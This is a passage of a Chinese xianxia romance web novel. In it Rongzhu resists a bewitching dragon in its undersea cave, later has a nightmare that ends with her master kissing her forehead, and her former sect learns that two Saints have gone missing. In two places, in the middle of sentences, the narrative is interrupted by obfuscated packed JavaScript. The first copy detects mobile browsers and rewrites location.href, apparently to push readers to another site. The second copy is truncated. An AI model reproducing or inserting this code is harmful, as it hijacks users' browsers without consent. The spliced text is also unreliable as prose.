“也是龙?”容珠不作声地将周围景象打量一遍,见离茶桌约有百步远的地方也是正对着洞门的最里边有一扇高不见顶的窗户。 窗户外是海底的景象,看上去清蓝无比。窗户两边有两尊高高的石塑,只雕刻出了人形和衣装,却没有面貌,但也能很清楚的判断出是一男一女。 “她是神。”魔龙一本正经地回答。 容珠心内疑虑颇多,想这个魔龙甚是奇怪,明明是个妖怪,竟然有如此像样的洞穴,还有个是神的主人,话本都不会这么写吧? 难道它的主人不晓得它在外放火害人?不对呀,神不是无所不知吗,怎么放任它为所欲为,残害人间呢? 容珠指一下那尊女雕像,“是她吗?” 魔龙点点头。 “那那个人是谁?”她又指指那尊男雕像。魔龙目不转睛,依旧保持着这个动作道:“也是神,是我的主人和朋友。” 两尊人像旁各放着一个柱形石碑,约与雕像平齐,石碑中心被挖去了,里头被一黑一白两道光芒填满。 女雕像旁的石碑里,白色光芒几乎占据了八成,隐隐有继续延伸的势头,但底下的黑色光芒在负隅顽抗,使得两种光芒暂时保持了这种划分。 而男雕像旁的石碑里,黑色光芒占据了九成,那一丁点白色光芒似乎也快要被黑色吞噬,是那样的微弱不堪。 “这两个是什么?”容珠觉得这个洞穴很是神秘,一想到海屏障就在这个洞穴旁不禁更觉疑惑重重。 魔龙放下爪子道:“两道天柱代表着两个世界的天道现状。” 容珠听它提到了两个世界不觉心中略惊,魔龙明显知道什么,莫非海屏障真的是它建立的? 她在等着它继续说,可过了半晌也不见它张嘴,容珠忍不住问:“然后呢?” 魔龙摇摇头:“天机不可泄露。” 天机……什么是天机? 容珠恍惚间对魔龙生出了一种肃然起敬之感,她眯眼问:“你是神是魔?” 魔龙挺直了身躯,慢吞又庄严道:“吾乃开天辟地第一神龙。” “既是神龙,为什么要害人放火?” 它细长的胡须微微耸落,语调深沉道:“朝荣国的天道严重失衡,违背了世间运转规律。” 容珠更加不解,“天道是什么?天又怎么可能无故降灾于人间?” 她所在的世界已经足够残酷无情,是朝荣国让她明白仁爱对人来讲是必不可少的品质,难道天道认为仁爱是错的,人生下来必须以强定尊卑,必须他死我才生吗? 魔龙转动眼珠看着容珠,慢慢朝她靠近,鼻息再一次扑在面上,它露出獠牙,缓缓道:“世间有白天就一定有黑夜,有男人就一定有女人,有爱就有恶。相生相克方是天道,物极必反,水可载舟亦可覆舟。任何人,任何事唯有遵循天道才能长久。” 小时候,爹爹曾对她说强者为尊,爱是低贱之物。后来她遇见应白,应白对她说人人心中当有仁爱。现在,一个横行朝荣国的魔龙对她说有爱就必须有恶,任何人,任何事要遵循所谓的天道。 她的认知再次受到了撞击,不明白魔龙的意思,“你是说世间应该有两种人,善良的人和邪恶的人?” 魔龙轻轻摇头:“没有人有绝对的爱,绝对的恶,爱与恶同时存在人心中。” “可是我所在的世界人人心怀恶意,凭着灵力高强肆意践踏平民百姓,他们哪里有爱?” 容珠认为它在胡言乱语,“你怎么不去我的世界维护天道?那里的平民需要解脱。” 魔龙别有深意地眨了一下眼,“你怎知那个世界里没有像我这样的存在?” 容珠脱口而出:“那里没有妖怪。” 魔龙轻笑一声:“我也不是妖怪。” 几乎有一瞬间,容珠有种仰视天神的错觉,她竟开始相信魔龙不是妖魔。 它的眼珠近在咫尺却毫不可怖,黑的发亮的身躯像在散发一种光芒,不可逼视,震彻心魂。 忽然一丝灵光在脑中乍现,她能感觉到这是一个答案,能让她窥见天道,得知救世之人是谁的答案…… “砰砰砰——!” 一声巨响从洞外传来,将容珠的思绪生生断掉,惊得她侧头去望,隐约见几个人影在萤蓝色的屏障外上下漂浮。 “你的朋友来了。”魔龙饶有兴趣道。 容珠站起身,见猛敲屏障的人一身红衣,一身紫衣,还有…… 不必看清,容珠也知道他是谁,他们是谁。 魔龙闪着精光的眼球猛地看向容珠,整张脸完全不似先前平静,此刻是显而易见的邪恶与可怖。 它的声音也变得低柔轻缓,让人情不自禁地对它产生异常的崇敬,信任和依赖。 “你的朋友邱梧喜欢你师父,你想不想知道你师父喜不喜欢她呢?” 容珠缓缓睁大眼,从魔龙那金黄透明的眼球中清晰看见了自己的模样。 “你曾经偷偷亲过你师父,你喜欢他。” “什么?”容珠惊愕地看着这只龙眼,那里面散发着幽幽的光泽,让人情不自禁想去依从…… 不!它是魔龙!它说的话不能相信! 脑中有两种情绪在互相作对,容珠下意识否定:“他是我师父,我不喜欢他。” 魔龙轻柔的声音再度钻入耳中:“你师父俊朗温和,不嫌弃你是废物,耐心教你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797611|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全力维护你,喜欢他怎么不可以?” 它金黄的眼球继续散发着一片迷人的光辉,容珠目不转睛,神色迷离,“可是……我跟他差得太远了……而且邱梧与师父年少相识,他们……他们……” 屏障外的敲打声还在继续,容珠已经听不到了,她只能听见魔龙那引人入胜的话语,它美妙的,梦幻地说:“昔日旧情怎比得上你和你师父生死与共?感情一事要主动出击,你师父才会属于你。” 容珠呆滞的眼神泛起光亮。 魔龙悄悄道:“你师父如此优秀,邱梧不会轻易放手的,她是你最大的障碍,你若觉得她美,不妨毁掉她的容貌,一个姿容残缺的女子,任凭她和你师父有怎样的过去,你师父也不会喜欢她的。” 毁掉容貌…… 她注视着魔龙的眼珠,忽然一阵绞痛从灵核的位置传来,容珠眉头骤然蹙起,倒吸一口凉气,脑子猛然清晰,剑指魔龙:“你在挑拨离间!” 魔龙似乎很开心,它用指甲尖敲了两下容珠的剑,发出了两声清脆的声音,似乎在鼓掌。 “奚昤神识果然有用,它可以抑制人心中的恶念,你知道你的灵核为什么是金色的吗?” 容珠顿觉毛骨悚然,后背浮上一层森森冷意,“你说什么?我的灵核上有你所谓的奚昤的神识?” 奚昤究竟是神还是一个被魔龙美化了的更大的魔头,容珠不得而知。可魔龙方才的意思分明是在说正是因为奚昤的神识她才没有受魔龙蛊惑…… 魔龙竟能蛊惑人心,如果它蛊惑了别人怎么办?那有多少人会被迷失心智? “容珠!” 熟悉之音从后背突兀传来,容珠回头的瞬间见应白的佩剑飞速而至直击魔龙眼球,魔龙身躯陡然翻过,一甩尾尖将剑踢了回去。 应白接剑的一瞬间,上官琛火速飞来,一道火红灵力从头劈下,气势汹涌划向那坚硬龙身,清脆响亮的一声抨击,魔龙分毫未伤,它扬声道:“竟破得了我的屏障,尔等不可在此放肆!” 它怒吼一声,容珠只觉整个身子被震了起来往后飞去,一只手臂及时伸了过来,明明很有力量但又好像在刻意维持着距离,混乱中看到了一片黑色的衣角,一股心虚之感油然而生…… 喜欢师父……吗?! 震彻的怒吼之声让人头脑发晕,她没有细想,随之而来的沉闷海水让自己在瞬间反应过来要屏住呼吸。 片刻后她又发现自己能呼吸了,睁开眼正好看见水里的邱梧朝她伸手,一圈淡紫色的光芒在自己周围笼罩了起来,在蔚蓝的海水里像身处在紫色泡泡中。 头顶上传来应白的声音:“多谢。” 上官琛给应白施加的避水屏障只能容纳一人。邱梧的表情似乎像在说抱歉,她应该早一点给容珠罩上的,这样容珠就不会被海水浸湿了。 容珠忽然说不上来此刻面对邱梧是什么样的心情。破水而出的那一刻,耀眼的阳光是那么的不真切。 应白已经松开了拉着她的手腕,众人落足在沙滩上,不远处,邱宫主和上官宫主匆匆赶来。 二人跳入海里找了半天都没找到魔龙洞穴,上官宫主扬言要把海水抽干,邱宫主心知他这是着急又没办法而说的气话,他也着急,便道:“你行你上。” 吵架的功夫这边四人已经从海里出来了。 上官宫主关切道:“容珠姑娘,那魔龙伤害到你了吗?” 额上一滴水珠顺着皮肤滑到容珠的睫毛上,她抹去脸上的海水,道:“不曾。” 上官宫主情知现下不是细问的好时候,待回紫阳宫再议。 初升的阳光透过湿透的衣服传达了强烈的暖意,容珠看着眼前的邱梧,心像被切割成了两份,一份欢喜,一份酸苦。 48. 灵根草 回到紫阳宫后容珠一番洗漱收拾,又前往正堂。 堂中有一个陌生男子,约莫五十岁左右,虽说在笑,可眉眼间也不乏锐利之气,可谓是儒雅与威严并存,正疑惑是谁,忽听上官琛和邱梧朗声道:“先生!” 男人见两人跑来顿时舒展眉头,眼角含着浅浅笑意。 “何时回来的?”上官琛似乎很激动,后面的上官宫主撇撇嘴找了个位子坐下。 “今晨刚来就听沈宫主说了昨夜之事,能安然无恙从魔龙洞穴出来,果然一别几日当刮目相看。” 难得的赞扬让上官琛略带愧色,其实此行自己实在没出什么力,想解释一下因由便见邱宫主已经来到跟前略一拱手笑道:“顾先生,许久不见,令媛婚事如何?” 上官琛竖耳细听。 这空档,邱梧对容珠介绍自己师父。 此人姓顾,名寄章,在她八岁的时候来到紫阳宫成为他们的先生。前几日因他女儿传信说看中了一个人想与他成亲,顾寄章便同沈宫主说了一声回家去了。 容珠心下疑惑:“怎么不是沈宫主教你们修炼而是另找先生?” 沈宫主是紫阳宫的主人也是邱梧和上官琛的母亲,由她教导再合适不过,况且容珠的父亲也曾是清凌门的掌门,凡掌门之子女皆由掌门悉心教导,从未听过另找先生的。 邱梧悄声道:“一来紫阳宫事多,母亲没有足够精力耐心细致地教我们,二来她说我俩终归是她的孩子,修炼辛苦了她不忍心,若松懈了将来又要花多年补救,这个年纪是打基础的好时候,于是干脆找了一个她信得过的人,对他说只管对我们打骂,务必要让我们有所成就。” 容珠点头明白。 此时,顾寄章冷笑道:“不提也罢,那男子是个书生,说得一口文雅丽词,我问小女可曾拜访过他家,小女说未曾,我便提议要拜访他父母亲,那男子百般推辞,终于约定了一日。后来我们按他说的地方去拜访,主人家却说此人是他家的书童,前日说老母病重要回家赡养,领完钱就走了。” “哎呀寄章兄,你女儿这不叫人骗了。”上官宫主十分关切道。 沈宫主严肃道:“怎么回事?他敢骗云萧?” 邱宫主眉头一皱,“怕是觉得自己家境不好配不上云萧姑娘吧,这便是那男子的不是了,心里头怎么想的得把话说清楚了,不告而别算什么。” 顾寄章淡淡一笑:“她不乐意得很,已经寻人理论去了,不说她,今日有更正经的事谈。” 一番认识后众人方问起昨晚之事。 昨晚上官琛载着应白和邱梧御剑飞行至崖海。崖海宽广无边,要在里面找魔龙洞穴真是“大海捞洞”。 上官琛给自己和应白设了个避水屏障,三人二话不说就跳进了海里,往大海深处游去。 刚游没多久,应白背后的剑忽然自己动了起来,它脱鞘而出,剑柄上的水怪精丹在海水里异常明亮,它在应白眼前晃了晃,随后调转剑头朝海里的某个方向游去。 妖怪和妖怪之间能互相感应到彼此的气息,有些时候弱小的妖怪若是闻到附近有其他大妖的味道便可以提前撤离。 魔龙的气息似乎很明显,让水怪异常兴奋,等高大的魔龙洞穴在众人眼前显出一角时,应白的剑便有些害怕地缩了回来。 洞穴前有一面萤蓝色的屏障,上官琛和邱梧自小学习过破解屏障之法,但二人试过后却破解不开。 应白也钻研过这门学问,他想魔龙非寻常妖怪,所设屏障定然非同一般,既然这些方法都不行,就得用“命门”法了。 邱梧和上官琛不知道什么叫“命门”法,应白想或许朝荣国有其他叫法,便告诉二人关窍,二人摇头说从未学过,不过还是按照他的方法试了试,谁知竟破开了。 容珠把在洞穴中的所见所闻都讲了出来,众人聚精会神看着她,皆面露迷惑。上官宫主缓缓道:“且不说这天道是什么,光奚昤这个名字我倒听着有些耳熟,好像许久之前在哪里看到过。” 邱宫主沉思半晌道:“我未曾听过。” 沈宫主、顾寄章、邱梧和上官琛皆说从未听过奚昤这个名字。 思索片刻,沈宫主道:“说不定真有些什么来头,我们几人想不到不代表别人不知,我会将此事禀告陛下,若朝荣国有任何人知道奚昤之名便到紫阳宫说明。” 顾寄章点头道:“就该如此,是福是祸需尽快得知,若容姑娘体内的灵力有损心性,我们也好有个准备。” 容珠下意识认为自己灵力没有害处,早在漩涡之境时,应白就说她的灵核是金色的,与旁人不同,且在那之前她是人尽皆知的废物,还是在一次次付出善意的举动中让她灵力不断提升,这难道会是一场阴谋吗? 她侧头看向应白,见他正垂眸沉思。 此时邱宫主道:“既如此,那魔龙所说的天道又是什么?天道不就应该拨乱反正,除恶扬善,怎到它嘴里就说我们心中有爱是不对的?” “哼!妖怪之言岂能相信?”上官宫主靠在椅子上,高声道:“朝荣国是陛下的天下,是仁者的天下,若依它所言,岂不成了魔龙的天下!” 众人从没听过一个妖怪的乱世理由是替天行道,堂中弥漫着一丝沉闷迷惑之气,应白温和的声音忽然打破了这番寂静。 “我从前在一本书上看到过奚昤二字。” 沈宫主道:“说的什么?” 应白抬眸:“年限太久,具体内容记得不真切,只记得那本书名叫《神妖录》,书上说奚昤乃上古神尊,是负责天地运转的神仙之一。” “是神仙?”上官琛语气持疑。 上官宫主似是想起了什么,忽然“哦”了一个长调,道:“我家有一本祖传下来的秘籍,上头记载着开天辟地之时各路神仙妖魔对战之事,我已有二十年不曾打开看了,想来奚昤二字定然也出现在其中,待我回家找出来看看是何究竟,想来我的记忆正是出于此啊。” 顾寄章奇道:“神仙妖魔对战不是什么秘密,也称不上珍贵,为何是你家祖传秘籍?” 上官宫主道:“祖上前辈代代传下来的,即便不值钱也得供奉着以表尊敬嘛。” “既如此,你不妨现在就回去看,看完了好与我们说。”沈宫主发话,上官宫主笑后便走了。 “好了,你们昨夜不曾好好休息,现下一定疲惫不堪,有什么事再说吧。”沈宫主语毕,四人起身各自回房,邱宫主和顾寄章还在座椅上坐着,想来还有一些闲事要聊。 出了门,上官琛还沉浸在奚昤是神是魔这件事中,“阿姐,我们小时候读的志怪书上也有对各路神仙的描写,我怎么不记得还有奚昤这个名字?” 邱梧摇摇头:“我也不记得,兴许我们所读的书本就没有记载此名,不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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容珠本打算等将来自己足够强大的时候亲自去圣灵宫将应白的灵核拿回来,不过这个愿望十分遥远,对现在的应白来讲,灵根草的确是天降神物。 应白的神色平静又复杂,他知道邱梧今日对他提起此事一定是早就四处打听了,他与他们不过只有当初一年交情,期间还分别了七年时光,邱梧如此心细且重情重义,应白内心很是感激。 若他能拥有灵力……他当然想拥有灵力,拥有了灵力就能保护容珠,就有资格喜欢她。 其实应白年少时就听过灵根草,灵根草属于极其稀有之物,世所罕见,它不仅可以代替灵核修炼还能解百毒。 要说解百毒,有很多其他的草药也可以做到,或者这样那样的草药搭配而食就能解对应的毒,所以人们不会在灵根草上下功夫寻找。 要说代替灵核修炼,按照应白所在的世界的情形来看,当一个人没有灵核时也意味着这个人离死不远了。 人死了,更不可能去寻灵根草了。久而久之,灵根草这个草药在修真界似乎被遗忘了。 应白内心翻涌,去找灵根草要比去圣灵宫拿回灵核更有可能,即便再重头修炼也没什么,有能力时再拿回灵核就是了,那时灵核虽没有用但也是他的东西,自不能沦为他人掌中物。 虽这样想仍有许多需要考虑的地方,他道:“容我想想,不知有没有关于灵根草的书籍,仔细了解再做打算较为稳妥。” 邱梧内心欣喜,眼睛瞬间明亮起来,“紫阳宫应该有,等我找到了给你送去。” “我也去找,如此大事岂能不上心?”上官琛好似困意全无了,和邱梧一起去了藏书阁。 容珠也想去,应白道:“找书什么时候都可以找,你昨晚没睡好,先去休息吧。” 49. 心头爱 容珠做梦了。 容珠做梦了。 眼前是熟悉的清凌门,众弟子都在用异样的眼神看她,她不知发生了何事,想拉一个人问问,但不管拉谁谁就笑着跑远了。 她转身去看其他弟子,猛地撞上一个人,一袭蓝衣的容檀笑意盈盈望着她:“表姐,我听说你喜欢应白?” 一道惊雷在脑袋里炸开,容珠惊愕地看着她,怎么容檀会知道她的秘密? 她笑得灿烂,一步一步朝她靠近,清冷的眸光如寒冰利刃,婉转的声音一问接一问:“你喜欢你师父?” “他是圣灵,你是废物,你怎配喜欢他?” “他当你师父无非是想报答你的救命之恩,你还想得寸进尺?” “你身上有哪一点可以值得他对你青睐?” 熟悉的感觉仿佛又回来了,“我……”容珠嗫喏着,下意识想低头,忽然意识到她怎么在清凌门?她不是在……在…… 在哪里来着? 这个名字就在嘴边却怎么也想不起来,那里充满爱与欢乐,那里有她的朋友…… 他们叫什么来着? “呵呵呵呵……”容檀轻灵的笑声从头顶传来,“表姐,梦醒了,清醒些吧。你是容珠,是清凌门的耻辱,是修真界人尽皆知的废物,你的师父早就离你而去了,因为他为你喜欢他而感到厌恶!” “不是!”容珠抬头反驳,见容檀的双眼充满光辉,逼她垂眸,心中却有一种没来由的相信支撑着她,她定身直视,光辉刺得她双眸泛出泪水,“他不会。” “表姐……哦不,容珠,你不配让我叫你表姐。” “是啊容檀,她不配是你的表姐,也不配是我的女儿。” 深沉沧桑的声音直击容珠内心,她猛然望去,站在容檀身边这个人…… “爹爹……”容珠声泪俱下,一时间仿佛找到了归属,找到了她日思夜想的家。 她忘记了刚才听到的话,不顾颜面地朝爹爹身前扑去,可就在她快要接近他时却被一个大力狠狠推倒。 那亲切之人冷冷放言:“你不是我的女儿,我没有你这样的无用之人!快走吧,别再踏入清凌门,我丢不起这个脸!” 周围弟子开怀大笑,一根根手指对着她指指点点,容檀凉凉一笑道:“容珠,你什么都没了,你已经被清凌门逐出,你的师父也弃你而去,没有人喜欢你,没有人在乎你,你不如就死了去吧……” 她未反应过来两条胳膊就被人架起,转眼间来到清凌门的悬崖边。容山淡漠道:“把她扔下去。” 容珠大喊:“爹爹!不要抛弃我!” “容珠?” 忽然一温和有力之声不知从哪里传来,容珠急切呼喊:“师父!师父!” “容珠?” “师父!你在哪?” “容珠!” 一个用力,她被扔下悬崖,床上的她猛然惊醒,被子因两脚一踢歪到一边,心扑通扑通要跳出,眼前一片水雾朦胧,意识尚在坠崖之中。 “容珠?” 模模糊糊看到面前有一熟悉面容,温和之音传入耳中顿觉抓住了希望绳索,她猛地起身双手紧紧抱住他,突然而至的冲劲儿让应白险些后仰栽过去。 “不要扔我……不要抛弃我……” 容珠还在说着梦话,断断续续的呓语混合着抽抽嗒嗒的哭声让她显得脆弱不堪,她手上的力道跟当初在漩涡之境时一样,应白呆怔片刻猜测她兴许又做那样的噩梦了。 本来他去藏书阁和邱梧姐弟二人找了一会儿,但这二人找着找着就哈欠连天,决定还是睡一觉起来再找更有精神。 应白不困,就自己在藏书阁找了一会儿,拿了几本书回去,路过容珠房外时就听见她极大声喊了句:“不是!” 他还以为容珠在跟谁说话,便在原地驻足听了会儿,之后又听到“爹爹”“不要”等语,字句虽短却充斥着极浓的害怕之意。 应白心知容珠在做噩梦,于是上前敲了几声门。 房内声音忽高忽低,容珠显然被梦魇住了听不见其他声音,应白便去找邱梧让她去看看容珠,结果女弟子说邱圣女还在睡觉。 他想着或许过一阵容珠就好了,等再回去的时候听到容珠在房内哭泣呓语。 进入容珠的房间于礼不合,可应白又被容珠的哭声揪着,心道只是做噩梦而已,醒了就好了,容珠又不是小孩子,于是准备离开这里…… 可他又想,容珠虽不是小孩子,可她是个需要被关爱的女孩子,他没法装作无事发生,想着安慰她以后再跟她道歉私自进她房间一事。 他以为容珠在这里很开心,但一个人内心的脆弱不是一朝一夕可以释怀的,他不希望她经历任何苦痛,见她哭泣无疑触动了他紧绷着的一根弦。 她哭得泪眼迷蒙,脸上尽是花乱的泪痕,鼻尖因抽泣而发红。一摸一样的姿势,一摸一样的场景再一次出现,应白轻声关切:“做噩梦了?” 容珠的脑子还在混乱着,眼眶里的泪水遮挡了视线,她睫毛一颤,两行泪珠从脸颊滚落,应白温和的眸子瞬间清晰地出现在眼前。 她好像真的抓住了绳索没有坠崖而死。 人都说哭起来的模样很丑,可应白怎么看泪珠滚落的容珠如此摄人心魂,他一点点擦着她脸上的湿意,心中竖起的理智之墙渐渐瓦解陷到了地里。 指腹的摩擦感逐渐拉回了容珠的思绪,她的理智之墙逐渐恢复。 她是谁,身处何地,干了什么种种回忆纷至沓来,她正在……她又…… 抱着应白!她的师父!她…… 羞愧、害怕、贪恋……各样情绪涌上心头,明知抱着他过分逾矩却一点都不愿松手。 他轻轻捧着自己的脸,仔细抹去泪水,冰凉的湿意在脸颊上散开,慢慢消失。 她感觉应白柔和的眸光像火一样灼烧着脸上的寸寸肌肤,就在她觉得是不是离他太近的时候,他微微抬起下巴,鼻尖掠过她的眉心,极具炽热的触感真真切切落在了额上。 心仿佛停止了跳动,刚恢复的理智尽数散去,容珠缓缓睁大眼,眼前是应白白皙的脖颈,如此清晰的肌理纹络让她登时呆住了。 不,她很清楚,无比清楚地明白,贴在自己额上的是什么。 他亲了自己! 为什么?他这么做是什么意思? 她又惊又慌,只觉额上一阵热一阵冷,呆傻地盯着他衣领下的黑影,咽了口唾沫,微微张嘴:“师父……” 眼前之人身形一僵,额上那抹炽热猛地撤离。 容珠不敢抬头,她不知道这意味着什么,不确定这意味着什么 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骂……容珠偷偷看他,应白正紧锁眉头垂着眼,他神情严肃,甚是诚恳。如果亲额头就如此严重那她曾经亲了他的……岂不是滔天大祸? 她哪里心有怨言,一想到此事便心虚不已,见应白如此认真她反而更愧疚了,十分不自在道:“师父严重了,我刚做了噩梦也不甚清醒,如果对师父做了什么也请师父不要放在心上。” 应白闻言有些出乎意料,要说容珠抱自己虽说也有些不合适但跟亲了她比起来根本不值一提,不过听她语气并没有带有怨气和羞怒,到这个份上了也无需再说什么。 出门后,清爽的秋风吹在脸上稍稍抚平了自己的慌张,应白暗暗告诫自己如果以后再看见容珠哭就不要看她,没安慰她是小事,若因为看了她而身心不受控制又做了什么事那便是天大的事。 他闷头走至院门,差点撞上迎面而来的上官琛。 “这么巧,我刚要找你!”很快,上官琛的笑凝固在脸上,疑惑道:“你的脸怎么这么红?喝酒了?” 上官琛突然而至将应白惊了一跳,他强作镇定,干笑道:“可能午睡刚起,太热了吧。” 这个理由若换做一个有心人定会起疑,可上官琛不觉得有问题,他拉着应白道:“走,我们去藏书阁,你找灵根草的书,我找关于奚昤的书。” * 房内,容珠坐在床上出神了半天,方才做的梦虽然记忆犹新可一点也不伤痛委屈了。 她哪里能想到一睁眼就看见了真的应白,就好像即便在梦里有危险他还是会来救自己一样。 额上那个位置还在发烫,她心跳飞快,遐想应白亲自己是因为他也喜欢自己,可这么一想她又飞快摇头否决。 怎么可能? 喜欢一个人很简单吗?亲亲就是喜欢?未免也太随便了吧,她不懂但也不这么认为。 脑子里乱七八糟开始胡想,双颊烧得通红,她赶紧下床整理好衣服,一出门便觉秋风送爽,心旷神怡。 转眼间来到朝荣国已有一个多月,当初她和应白在众目睽睽之下穿过海屏障,还不知道那里的人会怎么想。 当时清凌门的船只离自己最近,一心想抓应白向圣灵宫邀功的容檀有没有发现隐藏在海浪背后的玄妙? 50. 收密帖 “回掌门,还是没有发现容珠和应白的尸体。” 清凌门内,容檀正看着手中圣灵宫下发的密帖,上头内容不过三两语句,她一向清冷的眼眸却显露一抹震惊之色。 “什么尸体?”连逸怒眼看那弟子,“既没找到就不要下定论!” 这弟子是当时在南海上大喊应白在此的人物。 自那天后,圣灵宫就派人驻守南海,说活要见应白本人死要见应白尸体,还令各门各派抓捕应白,容檀便派他去打探情报,观察南海情势。 每隔十日他便回清凌门报告实情,一个多月过去无人见到应白身影。 即便当时有许多人认为应白被淹死了,但渐渐地,人们又想到应白连漩涡之境都能逃出来且即便身无灵核也能逃离圣灵宫的追捕,觉得淹死一事实在滑稽得很,不禁又开始隐隐戒备起来。 谁人不当应白是祸害,是比妖魔还疯魔的人物,偏连逸总有意无意维护他。此刻,这弟子听连逸口气,想他是掌门身边之人,也不出言多说,只给他一个白眼。 容檀放下密帖,睨眼看连逸嘲讽道:“不用这么激动,当初既没跟他们一艘船跑,现在急有什么用?” 她对那弟子道:“你下去吧。” 那弟子走远后,连逸冷冷道:“我倒是想跑,可是掌门的鞭子长得很,栓得住人栓得住心思吗?” 容檀眸光一冷,“连逸,你不用对我总摆出这副样子,你想走我允许你离开,清凌门再没有你这样的弟子。” 南海一行回去后,连逸曾对容江再次说要离开清凌门,容江知他所想,情知一味挽留定改变不了连逸心思,于是便说:“等容珠和应白出现之时便放你离去。” 连逸不知容江是何用意,容江道:“我虽没亲眼目睹当时情景,但从你二人口中也略晓得前后之事。容珠修炼多年没有灵力,到了应白身边的变化之大你们有目共睹。应白只是没有灵力又不是废物,他实力多深我们无从得知,他和容珠定然无恙,狡兔有三窟,你且安心吧。” 连逸以为容江只是单纯地认为他离开清凌门就是要去搜寻应白和容珠的,他忙解释道:“我的确担心他们,但我离开清凌门更主要的原因是——” “我明白。”容江深沉道,“别说我嘲笑你,当年应白实力如此强悍尚且落得被挖灵核的下场,造成这样的后果你觉得都有哪些原因?” 这一问令连逸在恍惚间对容江生出一丝陌生感。 在他眼中,容江跟其他人似乎有些不同,他没有对容珠赶尽杀绝,也没有向圣灵宫揭发应白,所以连逸对他总保留着两分尊敬,与容檀不同,连逸虽对容檀也保持尊敬,但却是被迫的。 然直到此刻,连逸通过这双不辨情绪的眼眸意外发现了其中隐隐透露出的真诚,像是一个长辈对晚辈的谆谆教诲,蓦地令他心头一震,疑惑重生。 当下百思不得解,只好先实言道:“因为世人眼中心中只有地位和利益,丧失了人性,圣灵宫以多欺少,可惜应白没有集结一帮仁爱之士结帮拉派,说不定就不是后来的局面了。” 容江双眸依旧平静,嘴角隐隐露着笑意,“我先不说应白的想法是对是错,单说一个人要完成一件大事便少不了契机,在人人都反对的前提下想达到自己的目的除了动摇他们的想法外就是以暴制暴。放眼望去我们这个世界,有几人认为人应当有仁爱? “应白很显然要采用第一种方法,他当年去各大门派游说可是没有成功,但他既推崇仁爱就不可能以暴制暴,而强者为尊,弱者低贱的世间规则也没有引起巨大骚乱,哪怕是最低贱的百姓面对他的怜悯也要害怕,也要求饶或逃跑,时机和民心他都没有,所以他注定失败。” 连逸从没有听过这样一番话,这样一番言论,他忽然意识到自己根本不认识容尊主,忽然意识到原来容尊主什么都知道。 他明白的远比自己认知的要高得多,他知道自己离开清凌门要去干什么,他用应白当年之事在点明自己。 连逸半晌没有说话,容江一直在看门外景色,良久又道:“没有什么是对的,什么是错的,胜利者说的话都是对,所有人都认为强者为尊,弱者低贱,所以圣灵宫就是民心所向,有这一点,它就不会被摧毁。” 这几句话连逸揣摩了好几天,想着想着他又想到:怎么容尊主如此通透明理,容檀却执迷不悟,一味慕强凌弱呢? 他不喜欢容檀是真,不愿伪装也是真,所以对她总是半尊敬半忤逆。 方才容檀说允许他离开清凌门,连逸忽然有了个想法,除非容江赶他走,否则他会好好利用在容檀身边的这个位置。 一则跟在容檀身边,连逸对她的所思所想越发了解,容檀并不是毫无人性之人,他能不能尝试一点点改变她呢? 二则,没有什么地方比一个门派的消息来得全面灵通,没有什么比在掌门身边更能实时获得任何事情的最新情况。 所以……连逸重新整理表情,对容檀平心静气道:“连逸不敢,连逸身为清凌门弟子,既在清凌门一日,也应以清凌门的荣辱为首要责任,从今以后,连逸会规矩行事的。” 突然的转变让容檀目露诧异,她冷哼一声慢悠悠道:“行啊,你最好一直记住。” 容檀之所以没真的赶连逸走就是因为清凌门眼下正是需要人才的时候,一些弟子因不喜门派对容珠的处决又不愿平白受辱就离开清凌门转投别派了。 若连逸跟其他弟子差别不大,容檀也就不那么在意他了,可连逸实力完全是另一个阶级,即便自己不喜欢他她也时常告诫自己要站在清凌门的角度上考虑。 所以,自南海一行回来后,连逸对她摆脸色容檀都暂且隐忍,此刻连逸虽认真表态,可容檀心里总憋着一团火气。 这时,容江从门外进来,开口第一句便是:“我听弟子说,圣灵宫给每派掌门都发了一封密帖?” 烙漆的外皮已经被撕开了,容江接过容檀的密帖,快速看了一眼。 密帖上道:圣灵宫尤鸣圣灵、谷嵩圣灵失踪,令各掌门全力寻找罪首应白,如发现两位圣灵务必带回(万初印)。 圣灵宫的每一位圣灵都有资格下达命令,不过一般是万初下达。 容檀不着痕迹地瞥了眼连逸,见他表情十分惊诧。 “爹爹,圣灵失踪可是天大的事,女儿认为圣灵宫今日都昭告各派掌门了,想来这二位圣灵应是凶多吉少。”容檀神情认真,眉眼间又恢复了严肃之气。 容江轻轻“嗯”了一声,忽然间闻得疾步声临近,一清凌门弟子慌里慌张,上气不接下气道:“掌门,尊主,门外……圣灵……是谷嵩圣灵……” 这弟子还未说完,容檀抢先一步走到他跟前急声道:“谷嵩圣灵?在哪?” “就在大门门口,他……他……”弟子目露惊恐,欲说不说,急得容檀厉声道:“吞吞吐吐干什么!快说!” 弟子狠狠咽了口唾沫,小心翼翼道:“谷嵩圣灵……疯了……” 连逸还未回味过来这句话的意思便见容檀已经快步出门,眨眼间就不见踪影。 他和容江也往门口疾步走去,正逢弟子们吃晚饭,一个两个不知从哪听来了消息都堵在门口张望。 “都在干什么!有谁不知道自己应该干什么吗!”容檀呵斥的声音吓得众弟子连头也不回就往食堂去了。 清凌门大门早就打开,容檀远远瞧见一个晃晃悠悠的身形在不远处摇摆。 “谷嵩圣灵!”容檀语气尊敬中带着急切,她跑到离谷嵩圣灵三步远的距离,登时被他身上一滩血迹惊到。 这血迹在胸脯靠下一点的位置,四散开来若一团红花,不过鲜红的颜色已变成了暗红,容檀不知所措,先揖礼拜道:“清凌门掌门容檀见过谷嵩圣灵。” 眼前这个谷嵩圣灵,衣衫破败,蓬头垢面,一会儿哈哈大笑,一会儿掩面哭泣,一会儿疯癫咒骂,一会儿惊恐无措。 连逸和容江紧随其后,见到这副场面俱是无比意外。 